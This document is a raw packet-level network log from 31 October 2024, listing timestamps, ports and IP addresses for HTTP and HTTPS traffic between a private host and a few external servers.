Oct 31, 2024 05:07:25.565951109 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:25.566003084 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:25.566235065 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:25.570974112 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:25.756525040 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:25.756545067 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:25.756611109 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:25.757224083 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:25.757239103 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.355616093 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.355719090 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.389534950 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.389560938 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.389828920 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.418584108 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.459369898 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.460014105 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.460037947 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.460236073 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.460256100 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.461972952 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.461996078 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.462114096 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.462133884 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.464925051 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.464951038 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465126991 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465154886 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465168953 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465174913 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465316057 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465347052 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465363979 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465383053 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465512037 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465527058 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465543985 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465554953 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465574026 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465583086 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465630054 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465646029 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.465665102 CET	49914	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:26.465676069 CET	443	49914	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:26.482894897 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.482949018 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483010054 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.483010054 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.483092070 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483144999 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483166933 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483185053 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483200073 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483223915 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483226061 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.483226061 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.483226061 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.483238935 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483256102 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.483279943 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.483280897 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.483280897 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.483315945 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.488609076 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.488626957 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.488694906 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.488807917 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.488807917 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.642595053 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.642615080 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.642632008 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.642683983 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.642683983 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.642726898 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.642743111 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.642760038 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.642782927 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.642817974 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.642817974 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.642817974 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.643300056 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.643321991 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.643337011 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.643343925 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.643352985 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.643387079 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.643387079 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.643399000 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.643898964 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.643913984 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.643929005 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.643975973 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.643975973 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.759778976 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.759802103 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.759840965 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.759861946 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.759931087 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.759942055 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.759951115 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.759960890 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.759974957 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.759984970 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.760021925 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.760096073 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.760725975 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.760729074 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.760740995 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.760776997 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.760787964 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.760854959 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.761097908 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.761115074 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.761126041 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.761136055 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.761171103 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.761198044 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.801712036 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.801744938 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.801778078 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.801793098 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.876583099 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.876678944 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.876830101 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.876843929 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.876862049 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.876873016 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.876882076 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.876884937 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.876894951 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.876910925 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.876935959 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.876956940 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.877232075 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.877274036 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.877285004 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.877290010 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.877326965 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.877372026 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.877669096 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.877679110 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.877684116 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.877801895 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.877801895 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.918598890 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.918611050 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.918677092 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.918677092 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.950572014 CET	49925	80	192.168.2.4	185.215.113.206
Oct 31, 2024 05:07:26.955511093 CET	80	49925	185.215.113.206	192.168.2.4
Oct 31, 2024 05:07:26.955605984 CET	49925	80	192.168.2.4	185.215.113.206
Oct 31, 2024 05:07:26.958954096 CET	49925	80	192.168.2.4	185.215.113.206
Oct 31, 2024 05:07:26.963704109 CET	80	49925	185.215.113.206	192.168.2.4
Oct 31, 2024 05:07:26.993360996 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.993382931 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.993393898 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.993405104 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.993422985 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.993446112 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.993473053 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.993545055 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.993573904 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.993585110 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.993613005 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.993613005 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.993706942 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.993973970 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.993983984 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.994033098 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.994096041 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.994129896 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.994148016 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.994158983 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.994203091 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.994203091 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.994529963 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.994539976 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.994550943 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.994561911 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:26.994596004 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:26.994626999 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.035634041 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.035644054 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.035732031 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.110348940 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110367060 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110378981 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110393047 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110404015 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110415936 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110656023 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.110656023 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.110686064 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110697031 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110799074 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.110802889 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110821962 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110835075 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.110848904 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.110902071 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.111120939 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.111156940 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.111169100 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.111175060 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.111208916 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.111219883 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.111258984 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.111258984 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.111301899 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.152508974 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.152518988 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.152789116 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.227000952 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227081060 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227092028 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227102995 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227117062 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227128029 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227336884 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.227336884 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.227507114 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227574110 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227674007 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227709055 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.227711916 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227735996 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.227761984 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.227761984 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.227816105 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.228007078 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.228024006 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.228035927 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.228072882 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.228082895 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.228091002 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.228095055 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.228138924 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.269332886 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.269354105 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.269365072 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.269659042 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.344379902 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344403982 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344415903 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344496965 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344507933 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344520092 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344531059 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344577074 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.344577074 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.344577074 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.344577074 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.344577074 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.344577074 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.344942093 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344960928 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.344970942 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.345019102 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.345019102 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.345231056 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.345242023 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.345252037 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.345297098 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.345297098 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.345532894 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.345544100 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.345552921 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.345607996 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.345607996 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.386156082 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.386177063 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.386187077 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.386198044 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.386358976 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.386358976 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.461277008 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461291075 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461376905 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461386919 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461397886 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461410046 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461538076 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.461538076 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.461808920 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461837053 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461847067 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.461988926 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.462080002 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.462096930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.462106943 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.462145090 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.462188959 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.462397099 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.462414980 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.462424994 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.462457895 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.462538004 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.503148079 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.503168106 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.503177881 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.503204107 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.503213882 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.503252029 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.503264904 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.549818993 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.549843073 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.549854994 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.549871922 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.549911976 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.578396082 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.578417063 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.578435898 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.578448057 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.578458071 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.578474998 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.578489065 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.578489065 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.578553915 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.578826904 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.578887939 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.578926086 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.578985929 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.578996897 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.579013109 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.579024076 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.579063892 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.579063892 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.579122066 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.579133987 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.579196930 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.620323896 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.620342970 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.620353937 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.620512962 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.620512962 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.666771889 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.666791916 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.666804075 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:27.666831970 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:27.666858912 CET	49913	80	192.168.2.4	185.215.113.16
